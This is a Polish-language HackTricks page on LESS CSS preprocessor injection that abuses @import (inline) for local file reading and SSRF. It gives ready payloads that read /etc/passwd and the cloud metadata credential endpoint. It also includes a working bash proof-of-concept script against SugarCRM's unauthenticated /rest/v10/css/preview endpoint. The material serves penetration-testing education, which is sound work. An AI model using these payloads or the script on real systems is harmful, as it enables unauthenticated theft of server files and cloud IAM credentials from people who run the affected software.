LESS Code Injection leading to SSRF & Local File Read

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

LESS jest popularnym preprocesorem CSS, który dodaje zmienne, mixiny, funkcje oraz potężną dyrektywę @import. Podczas kompilacji silnik LESS będzie pobierać zasoby referencjonowane w instrukcjach @import i osadzać (“inline”) ich zawartość w wynikowym CSS, gdy użyta jest opcja (inline).

Gdy aplikacja konkatenatuje wejście kontrolowane przez użytkownika w ciąg, który jest później parsowany przez kompilator LESS, atakujący może wstrzyknąć dowolny kod LESS. Nadużywając @import (inline) atakujący może zmusić serwer do pobrania:

  • Pliki lokalne przez protokół file:// (ujawnienie informacji / Local File Inclusion).
  • Zdalne zasoby w sieciach wewnętrznych lub usługi metadata chmury (SSRF).

Technika ta była zaobserwowana w produktach rzeczywistych, takich jak SugarCRM ≤ 14.0.0 (endpoint /rest/v10/css/preview).

Wykorzystanie

  1. Zidentyfikuj parametr, który jest bezpośrednio osadzany w ciągu arkusza stylów przetwarzanego przez silnik LESS (np. ?lm= w SugarCRM).
  2. Zamknij bieżące polecenie i wstrzyknij nowe dyrektywy. Najczęstsze prymitywy to:
  • ; – kończy poprzednią deklarację.
  • } – zamyka poprzedni blok (jeśli wymagane).
  1. Użyj @import (inline) '<URL>'; aby odczytać dowolne zasoby.
  2. Opcjonalnie wstrzyknij znacznik (data: URI) po imporcie, aby ułatwić ekstrakcję pobranej zawartości ze skompilowanego CSS.

Odczyt pliku lokalnego

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Zawartość pliku /etc/passwd pojawi się w odpowiedzi HTTP tuż przed markerem @@END@@.

SSRF – Cloud Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Zautomatyzowany PoC (przykład SugarCRM)

#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Przypadki z rzeczywistego świata

ProduktWrażliwy endpointWpływ
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=SSRF bez uwierzytelnienia i odczyt lokalnych plików

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks